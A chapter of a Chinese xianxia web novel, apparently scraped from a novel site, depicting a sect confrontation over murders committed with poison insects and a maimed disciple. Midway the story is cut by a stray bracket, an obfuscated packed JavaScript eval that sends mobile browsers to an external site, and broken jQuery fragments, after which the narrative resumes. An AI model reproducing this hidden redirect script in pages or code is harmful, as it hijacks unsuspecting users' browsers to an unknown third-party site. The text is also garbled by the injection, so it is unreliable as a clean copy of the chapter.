那小弟子吓得浑身发抖,慌忙跪地:“尊者饶命!都是弟子不小心!”
尤水生眼皮也没抬:“老规矩,你自己动手,还是让师兄们来?”
小弟子瘫软在地,不断地扇自己耳光,机械地喊着“尊者饶命。”
尤水生眼神示意一满脸横肉的弟子上前,那人眼中闪过狰狞之色,手起刀落,小弟子发出一声惨呼,眨眼的功夫,他的两只鲜血淋漓的手已经落到了地上!
横肉男习以为常地将手丢进鼎里。那鼎发出呲拉的声音,竟似在吞噬着这些血肉。
众人都目露惊恐。
接下来,更诡异的事来了,那鼎发出红光,竟将地上蜿蜒流淌的鲜血吸收了个彻底!片刻的功夫后,地上干干净净。
尤水生语重心长:“小七啊,你说你,怎么这么不小心。以后做事可不能这么毛毛躁躁的,让你师兄带你下去包扎一下吧!”竟似爷爷教育调皮孙子的模样。
那叫小七的弟子木木地行了礼下去了。
满堂鸦雀无声。
尤水生装作才想起来:“罗少主,方才说到哪了?”
罗非远面色如常:“尤前辈别急。我这为了请众位贵客,看一出好戏。”
他话音刚落,外面又传来脚步声,张奉臬、清漪等外门十数人打头进来,不言不语地站在了罗非远下方,紧接着先前那白衣公子单子庭和赵景儿一同走进,身后跟着三四个皮包骨头、形容枯槁的高瘦劲装男子。应当是那单子庭的随侍。
片刻的功夫,人已经聚了黑压压的一群。
刀无惧看了一眼尤水生,咂摸着嘴小声道:“这尸陀尊者,怎么一副魔宗做派!”
初霁板着脸:“……你别瞎说。”这些张口就来的玄门正派太讨厌了!
罗非远眉眼含笑地点评:“是。我见过的魔宗的人就不这样。”
初霁脸色稍霁。
那单子庭近来后,略一抱拳道:“见过诸位前辈。”
尤水生又恢复了那种满脸慈祥的笑容:“单小友不必多礼。”
赵括之看未来女婿的眼神更是慈爱得快滴出水来。
罗非远却很不和谐地打破了这其乐融融的场面,他单刀直入,冷声道:“先前在莳芳居杀害太始剑宗白衣剑士的,是你?”
单子庭一副诧异的神情:“我不知道罗少主说的是什么,什么莳芳居、什么太始剑宗的?我与太始剑宗无冤无仇,为何会杀白衣剑士?”他意态风流地一笑,意有所指,“莫非罗少主看我是外人,想给我随意安插罪名?”
罗非远言简意赅:“他是被一种黑色虫子钻进灵脉杀死的。那种黑虫子,只有你身上有。”
单子庭一拂扇子,一只黑色虫子落在扇间,他笑吟吟道:“你说的是它?”
众人才听过此种虫子的可怖,均畏惧地后退一步。
角落里的张奉臬死死盯着他,他身后的几个人均是目露恨意。
初霁没想到他这么快承认了,愣了愣。
罗非远也有些意外,眉眼含冰:“正是。”
单子庭打开扇子,那扇上是一副斗虫图,众人见到黑虫落到扇上,竟消失不见,变成了图中黑虫,忍不住既奇且惊,知道这扇子乃是难得的法器。对这白袍公子单子庭亦多了几分敬畏。
他道:“我这黑虫,原先有一十六只,如今只剩下一十四只了,有一只去向不明。想必是自己偷偷溜出去了,至于它去了哪,我却不知道了。如有并非我所愿,请诸位宽恕则个了。”
他浑不在意地作了个揖。
罗非远却轻笑一声:“原来是这样。”他长袖一挥,袖中的小剑当啷作响,“既然如此……说不定哪天我的剑,也不小心飞出去,如果飞到了单兄的心窝处,那我就先跟单兄赔个不是了。”
单子庭眼睛一眯,针锋相对:“那就要看罗少主的本事了。”
罗非远轻蔑地笑了声。
初霁皱眉,心想这神秘的单子庭行事这般嚣张,想必有恃无恐,不知他到底哪来这么大底气。
那边赵括之不悦打断:“少主,你到底有什么事?如今可以说了罢?”
罗非远:“人还没来齐——阴掌事呢?”
赵括之瞥了一眼尤水生:“阴风如今在天水筑中,由春泽派的玄门同道严加看管。”
罗非远笑道:“春泽派在将离门中,肆意作践将离门的人。赵代门主倒是好脾气。”
赵括之冷淡:“阴风自己做了丑事,让门派蒙羞,我没有脸面再护她!”
罗非远:“哦?是不能,还是不想?”
赵括之反问:“难道少主分不清是非曲直,要袒护一个双手沾满鲜血的凶手!我知道少主想保下阴掌事,只是倘若少主为了一己之私,硬要把黑的说成是白的,又如何对这些亲友惨死的玄门通道交代!又如何向闻人宗主,和二位门主的在天之灵交代!少主,你非要一意孤行吗?”
赵括之的话阴毒无比,既将自己撇得干净,又将罗非远推了出来,还暗搓搓地提了闻人灏相挟—阴掌事是闻人灏派来的,如果罗非远非要保阴风,必然引来旁人的议论揣测——难道这是闻人宗主的意思?
罗非远自是将他的弦外之音听得分明,他淡淡道:“倘若,我有证据,证明阴掌事不是凶手呢?”
赵括之一惊之下倒是忘了开口。
尤水生眯起眼,眼中又染上嗜血的红光。
便宜女婿单子庭悠悠开口道:“罗少主,话可不能随便说。”
罗非远没搭理他,直视尤长生道:“烦请尤掌门先把阴掌事教出来。”
尤长生冷酷道:“阴风是杀害我儿的凶手,赵门主已经交到我们春泽派手上,任我们处理。”
罗非远:“尤掌门有没有想过,倘若阴风真的不是凶手呢?若放走了真正的凶手,贵公子在泉下如何能瞑目!”
尤长生沉吟不语。
罗非远:“我只是想问她几个问题。到底她是不是凶手,尤掌门一看便知!”
尤长生浑浊的双眼绽出精光,慢慢道:“若是这样,倒也不算过分。只是,若罗少主拿不出让人信服的证据,我就少不得要讨些利息了。”
他的目光像蛇信子一般,在初霁的脸上扫了扫:“这小姑娘,就是罗少主身旁的符箓师吧。我身边,正缺这样的人才。”
初霁不妨视线突然转到自己身上,鸡皮疙瘩掉了一地,若是在元宗,他眼睛早被挖出来喂狗了。可如今她身陷囹圄,只能忍了这口气。只能先祭出尹阙子和灵言宗这根大旗了。
她思及此处,挤出一张笑脸,正欲说话,袖子却被罗非远轻轻扯了扯。
初霁一怔。
罗非远抢先开口道:“没错。只是,尤前辈都说了是人才,我自是不能放的。”他干脆道,“若是不成,我任你处置如何!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394051|180444||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
满堂皆静。
尤长生眼中意外之色一闪而过,他怨毒一笑道:“罗少主可真是个多情种子。这点倒是像足了令尊。”
罗非远不耐烦:“怎么样?”
尤长生盯着罗非远的咽喉:“任我处置……此话当真。”
罗非远爽快道:“那自然!”
初霁心中惊诧,难道他昏了头,不知道这老东西是什么人!她可不会自信到觉得罗非远会凭什么幼时的几面之缘就舍命护她,男女之情,更是无稽之谈。罗非远绝不是这样的人。
温焰则是皱眉看了罗非远一眼,嘴唇动了动,终是未说什么。
那边,尤长生已经对着孙大洪简单地吩咐了两句,孙大洪匆匆离去。
初霁怎么也猜不透罗非远的想法,却听他突然喝道:“你们干什么!”
众人随之望去,只见两个着青色织锦袍子的将离门弟子偷偷地溜到角落,想解开被捆得结实的朱沛然身上的麻绳,两人见被发现,都无措地看向赵括之。
赵括之有些不自在地咳了一声道:“这夜深露重,地下湿寒,不论沛然犯了什么大错,让他起来说话。”
地上的朱沛然嘴里塞了东西,感动地望着赵括之,呜咽流泪不止。
罗非远冷冷道:“若是杀人的错呢?也能就此算了么?”
赵括之一愣。
两白衣剑士却在罗非远的示意下上前,阻住那两弟子。
赵括之心下踌躇,不知罗非远指的是什么,又怕朱沛然真犯了事,己方便被拿了短处,便使眼色示意那两弟子回来。他对地上的朱沛然慈爱道:“沛然,委屈你了,一会儿等真相大白,师父再替你主持公道。”
朱沛然痛苦地闭上眼睛。
初霁却看到赵景儿站在那单子庭身旁,笑得花枝招展,眼神丝毫不往朱沛然那边看,不免心中冷笑。就算她心有顾忌怕新欢吃醋,但这般连师兄妹的情分也不顾,不免让人齿冷。要知道,朱沛然不论别的,对她真正是掏心掏肺。
将离门的内门弟子也三两看向赵景儿窃窃私语,面露不屑。
那厢单子庭察觉到初霁扫过来的目光,一面漫不经心地拍着手中的剑柄,一面眼神灼灼地看向她。
赵景儿很快发现,心中着恼,故意道:“子庭哥哥盯着那个小贱……女人做什么,难不成也被她的狐媚子模样迷了去。”
单子庭忙道:“怎么会。我先前道是何人得罪了景儿妹妹,如今见到正主,自然要多看几眼,记在心里,以后为景儿妹妹报仇。”说罢一双风流的桃花眼又状似无意地扫过初霁面容。
赵景儿冷哼道:“那你说,我和她谁长得好看?”
单子庭:“自然是你。”
赵景儿反怒为喜,低声道:“上次没弄死她,反倒让她生了警惕,下次我们得想个万全之策才行。”
单子庭:“一切都听景儿妹妹的。”
那边初霁被单子庭盯得心中膈应,寻机会狠狠瞪了回去。单子庭表情不变,继而,与罗非远带着淡淡杀机的目光撞上,笑容一滞。
罗非远却朝他微微一笑。
初霁看得惊奇,低声问:“你知道那个穿白衣服的是什么人?”
罗非远点点头:“知道。”他面无表情地继续道,“贱人。”
初霁捶了他一下:“我跟你说正经的。那人自称是什么……外域寒音宫的宫主。”